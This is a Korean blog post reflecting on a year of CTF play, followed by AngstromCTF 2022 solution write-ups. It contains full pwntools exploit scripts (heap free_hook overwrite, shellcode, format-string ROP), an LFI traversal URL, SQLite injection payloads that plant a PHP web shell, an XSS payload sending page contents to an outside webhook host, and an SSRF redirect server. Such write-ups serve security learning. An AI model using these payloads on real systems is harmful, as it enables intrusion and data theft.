[ AngstromCTF 2022 ] CTF 딱 1년 차

sangjun

·

2022. 5. 5. 16:24

느낀점

첫 CTF경험한게 이 Angstrom CTF 2021이었다.

그때 1인팀으로 나가서 최종 등수가 1502팀 중에 556등이었다.

 

2021년도 Angstrom CTF

 

 

 

이제 딱 1년이 지나 AngstromCTF 2022를 풀어보니 느낌이 뭔가 달랐다.(나이 먹었다는 뜻)
처음에 어떻게 공부할줄도 모르고 그냥 아무거나 닥치는대로 했었는데 이제는 대충 뭐뭐 공부 해야되고
공부하려면 어떻게 해야할지 쪼오금 감이 오고 있긴하다. (하지만 누가 퍼저나 리얼월드 알려주면 더 빨리 배울듯...)

 

이번에는 학교 동아리에서 5인팀으로 나갔다. (이번엔 45/1319등 했다.)

 

2022년도 Angstrom CTF

시험 기간에 할 일도 많고 과제도 많아서 제대로 한건 대충 하루?정도하고 그 이후에는 잠깐씩
문제 풀었다. 이제 CTF 1년차도 됐고, 학교에 무림 고수들이 많아서 문제는 슥슥 풀어나간 것 같다.

 

CTF 1년차 소감은 이제 나이 먹은게 더 느껴지는거 뺴곤...ㅎ   더 이상 CTF가 옛날만큼 재미있지 않다는 것이다.
1년정도 여러개 CTF를 해봤는데 메이저 CTF말고는 대부분의 CTF문제에서 취약점은 비슷했고
그만큼 흥미롭지 않았다.

이제는 메이저 CTF말고는 문제를 더이상 풀어보지 않을것 같다.

또한 취약점 발견 후 익스보다는 취약점 발견을 위해서 리버싱이 먼저 필요했고
바이너리를 이해하는 연습이 중요해진 것 같다.

바이너리를 분석하기에 시간도 오래 걸리고 귀찮아서 싫다면 퍼징을 통해 어떻게든 취약점을 발견할 줄 알아야 된다고

생각한다.

결국, 앞으로 해야할 일은 리버싱 연습, 퍼징 연습, CTF위주가 아닌 다른 도메인으로 지식 넓히기인 것 같다.

 

두번쨰 맞이하는 angstrom CTF에 대해서 후기를 남기자면...

rust pwn은 끝나고 라업을 보니 할게 못 됐다.

web에서도 5/10 문제정도 풀 수 있었다.

 

web - cliche는 끝나고 posix님의 페이로드를 보니 장난아니었다.

Domfurify로 XSS못 하게 해놓은걸 jsfuxx webpack해서 퍼징해야된다니

역시 무림 고수들..

 

Rust pwn과 web-cliche처럼 어려운 문제들 라업을 보니 이젠 Fuzzer가 선택이 아닌 필수가 되버렸다.


이제 메이저 CTF말고는 다 얼추 아는 트릭이나 기법들이라서 웹 공부 좀 더 한 뒤에 퍼저 개발 공부를 본격적으로 하지 않을까 싶다.

퍼저 공부하는 것이 리얼월드에서도 좋고 CTF 어려운 문제들 풀려면 퍼징이 거의 필수적이니 닥Fuzzer인것 같다.

(심지어 Line CTF 2022 포너블 문제도 퍼징을 통해 익스한 라업도 본적 있다.)


풀이

제가 풀지 않거나 엄청 쉬운 문제들은 라업에서 따로 적지 않았습니다:)

Pwn - dream

원하는 주소에 청크를 할당할 수 있어 OOB를 체크해주는 MAX_LEN상수를 큰 수로 덮고
OOB를 발생시킨다.


이후에는 free_hook을 덮어서 익스를 진행한 것으로 기억한다.

from pwn import *
context.log_level='debug'
#p=process("./dreams",env={"LD_PRELOAD":"./libc.so.6"})
p=remote("challs.actf.co",31227)

def malloc(idx,data,con="KKKKKKKK"):
    p.sendlineafter("> ","1")
    p.sendlineafter("? ",str(idx))
    p.sendafter("? ",data)
    p.sendafter("? ",con)

def free(idx):
    p.sendlineafter("> ","2")
    p.sendlineafter("? ",str(idx))

def edit(idx,data):
    p.sendlineafter("> ","3")
    p.sendlineafter("? ",str(idx))
    p.sendafter(": ",data)

def debug():
    print(pidof(p)[0])
    pause()

malloc(1,"AAAAA")
malloc(2,"BBBBB")

free(1)
free(2)
edit(2,p64(0x0000000000404000+8)) #
free(1)

malloc(3,"CCCCC")
malloc(0,"ddddd")
malloc(4,"AAAA",p64(0x99999))#MAX_DREAMS을 덮기
edit(0,p64(0x403f88))

#leak
p.sendlineafter("> ","3")
p.sendlineafter("? ",str(526))
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))


base=leak-0x84450
free_hook=base+0x1eee48
malloc_hook=base+0x1ebb70
io_file_jumps=base+0x1ed4d8
sh=0x1b75aa+base
system=base+0x522c0

print(hex(base))
#debug()


p.sendline("1")

# p.interactive()
#debug()

p.sendlineafter("? ",str(7))
p.sendafter("? ","AAAAA")
p.sendafter("? ","KKKKKKKK")
#p.interactive()
#malloc(7,"AAAAA")
malloc(8,"BBBBB")

free(7)
free(8)
edit(8,p64(free_hook)) #원하는 주소로 수정
free(7)


malloc(9,"CCCCC")
malloc(10,"ddddd")

malloc(11,p64(system),p64(0x4242))
malloc(12,"sh","BBBB")
# print(hex(leak))
# print(hex(base))
# print(hex(free_hook))
# debug()
p.sendlineafter("> ","2")
p.sendlineafter("Which one are you trading in? ","12")
p.interactive()

 

 

Pwn - Parity

쉘코드를 실행시켜준다.

짝수번째 쉘코드는 opcode가 짝수, 홀수번쨰 쉘코드 opcode가 홀수 되야한다.

결국 system("/bin/sh")를 불러야 하는데 syscall은 0f 05로 둘 다 홀수라서 syscall은 못 쓴다.

--> 스택의 남아있는 libc 주소를 레지스터에 넣고 오프셋을 적절히 더해 call rax나 jmp rax를 쓴 것으로 기억한다.

 

 

from pwn import *

def debug():
    print(pidof(p)[0])
    pause()
#p=process("./parity",env={"LD_PRELOAD":"./libc.so.6"})
p=remote("challs.actf.co",31226)
shellcode="\x66\x05\x00\x67\x66\x05\x00\x01\x66\x83\xC0\x73\x50\x5F\x48\x83\xEC\x07\x48\x83\xEC\x01\x54\x5F\x90\x59\x90\x59\x90\x59\x90\x59\x90\x59\x90\x59\x90\x59\x90\x59\x90\x51\x58\x51\x66\x83\xC0\x01\x66\x05\x00\xFF\x66\x05\x00\xFF\x66\x05\x00\x01\x66\x05\x00\x01\x66\x05\x9C\x93\x66\x05\x9C\x93\x66\x05\x9C\x93\x66\x05\x9C\x93\x66\x05\x9C\x93\x48\x05\x00\x01\x02\x01\x48\x2D\x00\x01\x00\x01\x48\xC7\xC6\x01\x00\x03\x00\x51\x48\x81\xEE\x01\x00\x01\x00\x51\x48\x81\xEE\x01\x00\x01\x00\x83\xC6\x01\x48\x01\xF0\x59\x90\xFF\xD0"

p.sendafter(">",shellcode)
p.interactive()

기계어를 해석하면 아래와 같다. 오프셋을 맞춰줄 때 add rax이런걸 쓰면 홀수 짝수 맞추기 어려워  ax나 eax 이런곳에 여러번 나눠서 더하거나 빼서 오프셋 맞춰줬다. 또한 아다리 맞출 때는 nop (\x90)을 쓰거나 pop rcx(\x59)를 써서 아다리 맞춰줬다.

0:  66 05 00 67             add    ax,0x6700
4:  66 05 00 01             add    ax,0x100
8:  66 83 c0 73             add    ax,0x73
c:  50                      push   rax
d:  5f                      pop    rdi
e:  48 83 ec 07             sub    rsp,0x7
12: 48 83 ec 01             sub    rsp,0x1
16: 54                      push   rsp
17: 5f                      pop    rdi
18: 90                      nop
19: 59                      pop    rcx
1a: 90                      nop
1b: 59                      pop    rcx
1c: 90                      nop
1d: 59                      pop    rcx
1e: 90                      nop
1f: 59                      pop    rcx
20: 90                      nop
21: 59                      pop    rcx
22: 90                      nop
23: 59                      pop    rcx
24: 90                      nop
25: 59                      pop    rcx
26: 90                      nop
27: 59                      pop    rcx
28: 90                      nop
29: 51                      push   rcx
2a: 58                      pop    rax
2b: 51                      push   rcx
2c: 66 83 c0 01             add    ax,0x1
30: 66 05 00 ff             add    ax,0xff00
34: 66 05 00 ff             add    ax,0xff00
38: 66 05 00 01             add    ax,0x100
3c: 66 05 00 01             add    ax,0x100
40: 66 05 9c 93             add    ax,0x939c
44: 66 05 9c 93             add    ax,0x939c
48: 66 05 9c 93             add    ax,0x939c
4c: 66 05 9c 93             add    ax,0x939c
50: 66 05 9c 93             add    ax,0x939c
54: 48 05 00 01 02 01       add    rax,0x1020100
5a: 48 2d 00 01 00 01       sub    rax,0x1000100
60: 48 c7 c6 01 00 03 00    mov    rsi,0x30001
67: 51                      push   rcx
68: 48 81 ee 01 00 01 00    sub    rsi,0x10001
6f: 51                      push   rcx
70: 48 81 ee 01 00 01 00    sub    rsi,0x10001
77: 83 c6 01                add    esi,0x1
7a: 48 01 f0                add    rax,rsi
7d: 59                      pop    rcx
7e: 90                      nop
7f: ff d0                   call   rax

 

 

Pwn - Caniride

포맷스트링 버그가 딱 한번 터지고 exit으로 프로그램 종료된다.

OOB로 libc랑 pie를 릭할 수 있다.

 

-> fini를 _start나 main함수로 덮어 한번 더 포맷스트링 버그 이용

-> exit_got을 main으로 덮어 무한 포맷 스트링 버그 이용

-> one_gadget의 아다리가 전부 안 맞아 exit_got에 __libc_csu_init가젯에 있는 pop여러번 하는 걸 이용해 ROP까지 했다.

-> ROP를 하기 위해선 got을 부를 때 스택과 ROP페이로드 위치가 가까워야 거기까지 pop을 떙길 수 있다.

-> ext_got을 _start가 아닌 main으로 덮어 페이로드를 가까이 위치시킴

 

스택 상황 스크린샷을 찍어주고 싶은데 귀찮다.

from pwn import *
from sys import *
context.log_level='debug'
#context.aslr=False
def debug():
    print(pidof(p)[0])
    pause()

p=process("./patched",env={"LD_PRELOAD":"./libc.so.6"})
#p=remote("challs.actf.co",31228)
e=ELF("./caniride")
#debug()
pay="%105c%16$hhn"
pay+="%21$p"
p.sendlineafter("Name: ",pay[:47])

p.sendlineafter("Pick your driver: ","-3")
p.recvuntil("Hi, this is ")

leak=u64(p.recvuntil("your")[:-5].ljust(8,b"\x00"))
base=leak-0x35a8

exit_got=base+0x3550
puts_got=base+0x3550-0x40
fini=base+0x3300

pay=p64(fini)
print(hex(base))
p.sendlineafter("So... tell me a little about yourself: ",pay) ## fini array를 main으로 덮고  pie base, libc leak하기
####

lib_base=(int(p.recvuntil("000")[-14:],16)+0xffffffffffe0e000)&0xffffffffffff
print(hex(lib_base))


one_gadget=base+e.sym['main']

log.critical(f"BASE {hex(lib_base)}")



low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

if low > middle:
    middle = (middle - low) & 0xffff
else:
    middle = middle - low

if (low + middle) > high:
    high = (high - (low + middle)) & 0xffff
else:
    high = high - (low + middle)


pay = "%{}c".format(low)
pay += "%16$hn"
pay += "%{}c".format(middle)
pay += "%17$hn"
pay += "%{}c".format(high)
pay += "%18$hn"


p.sendline(pay)
p.sendlineafter("Pick your driver: ","-3")


target=p64(exit_got)+p64(exit_got+2)+p64(exit_got+4)
p.sendlineafter("So... tell me a little about yourself: ",target) #exit_got을 main으로 덮어 무한 aaw만들기

#무한 fsb만들기

#0xe3b2e 0xe3b31 0xe3b34  0xe3d23 0xe3d26
# one_gadget=(base+0x000000000000101a)
# low = one_gadget & 0xffff
# middle = (one_gadget >> 16) & 0xffff
# high = (one_gadget >> 32) & 0xffff

# if low > middle:
#     middle = (middle - low) & 0xffff
# else:
#     middle = middle - low

# if (low + middle) > high:
#     high = (high - (low + middle)) & 0xffff
# else:
#     high = high - (low + middle)

# pay = "%{}c".format(low)
# pay += "%16$hn"
# pay += "%{}c".format(middle)
# pay += "%17$hn"
# pay += "%{}c".format(high)
# pay += "%18$hn"


# p.sendlineafter("Name: ",pay)
# p.sendlineafter("Pick your driver: ","0")

# target=p64(exit_got+8)+p64(exit_got+8+2)+p64(exit_got+8+4)

# p.sendlineafter("So... tell me a little about yourself: ",target)



one_gadget=base+0x00000000000014fc-1

low = one_gadget & 0xffff


pay = "%{}c".format(low)
pay += "%36$hn"
pay +="BBB"

pay=bytes(pay, 'utf-8')
pay +=p64(0x14f6+base)*3
p.sendlineafter("Name: ",pay)
p.sendlineafter("Pick your driver: ","0")
print(len(pay))


target=p64(base+0x0000000000001503)*7+p64(lib_base+0x1b45bd)+p64(base+0x0000000000001504)

target+=p64(base+0x0000000000001503+1)
target+=p64(lib_base+0x522c0)
#target+=p64(base+e.plt['puts'])
target+=p64(exit_got)*0x100
debug()
p.sendlineafter("So... tell me a little about yourself: ",target)

p.interactive()

 

Web - Art-gallery

이미지를 받아오는 곳에서 

LFI가 터진다.

ex)https://art-gallery.web.actf.co/gallery?member=../../../../../../../../app/.git/config

 

 

git 이전 커밋에 플래그가 있다.

-> git-dumper를 이용해 .git을 릭하고 이전 커밋으로 돌아가 flag확인한다.

11992  sudo git clone https://github.com/arthaud/git-dumper.git
11993  sudo pip3 install dulwich
12002  cd git-dumper
12081  pip install -r requirements.txt
12082  python3 git_dumper.py https://art-gallery.web.actf.co/gallery\?member\=../../../../../../../../app/.git /sharing/CTF/angstrom/abc
12083  cd ../abc
12088  git log |grep commit
12103  git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
12104  ls
12105  cat flag*

 

Web - Secure-Vault

nodejs에서 UAF가 터진다.

JWT토큰을 이용하기 때문에 삭제된 아이디의 JWT토큰을 이용하면 flag를 볼 수 있다.

actf{is_this_what_uaf_is}

창 두개 띄우고 같은 아이디로 로그인 한 다음에 아이디 삭제 --> /vault로 접근

 

Web - No flag?

sql lite injection문제이다.

https://www.hahwul.com/2017/11/20/web-hacking-sqlite-sql-injection-and/

여길 참고해 페이로드 작성했다.

 

1. 제목.php형식의 table을 만들기

2. table에 페이로드를 담은 record추가하기
3. 웹쉘 경로로 접근하기

'); attach database '/var/www/html/abyss/sangjun17.php' as zzzz; create table zzzz.payload (flag string); -- - 
'); attach database '/var/www/html/abyss/sangjun17.php' as zzzz; insert into zzzz.payload values ('<?php system("id"); ?>'), ('actf{maybe_the_flag}') -- - 

'); attach database '/var/www/html/abyss/sangjun17.php' as zzzz; insert into zzzz.payload values ('<?php system($_GET["cmd"]); ?>'), ('actf{maybe_the_flag}') -- - 

'); attach database '/var/www/html/abyss/sangjun17.php' as zzzz; insert into zzzz.payload values ('<?php system("/printflag"); ?>'), ('actf{maybe_the_flag}') -- -

 

 

Web - Extra Salty Sardines

XSS문제이다.

bot이 /flag경로로 remote경로에서만 접근할 수 있고 결과는 bot만이 결과를 알 수가 있다.

xss로 /flag경로로 접속하게 하고 그 html내용을 웹훅 주소로 보내게 하면 된다.

 

fetchAPI와 then을 써서 동기적으로 응답을 웹훅으로 보냈다.

"</h1><script>fetch("/flag",{}).then(response => response.text()).then(res=>location.href="https://cwtjmwi.request.dreamhack.games/?flag="+res)</script>

 

Web - School Unblocker

Proxy문제이다. 로컬주소로 요청보내게 하면 필터링에 막힌다.

 

han.gl에서 http://localhost:8080/flag로 url을 줄여 보내게 했는데 /flag는 post요청만이 접근할 수 있었다.

--> redirect되게 할 때 응답코드 302를 쓴다. 이때 post 요청이 get요청으로 바뀌어 redirect된다.

--> redirect될 때 요청 Method가 get이 아닌 post 그대로 이용하게 하면 된다.

--> 응답코드 302가 아닌 307이 post로 redirecting 주소로 요청하면 post메소드 그대로 그 주소로 간다고 한다.

--> node js로 웹 서버를 파서 307코드를 이용해 127.0.0.1:8080/flag로 post요청을 보내게 했다.
    (문제 url에 적는 곳에서는 내 웹 서버의 주소를 적어줬다)

const express=require('express');
const app=express();
app.post("/",(req,res)=>{
    //res.redirect("https://naver.com")
    //res.end('this is server');
    res.writeHead(307, {'Location': 'http://127.0.0.1:8080/flag'});
    console.log(req);
    res.end();
});
app.listen(3000,()=>{
    console.log("sertver start");
});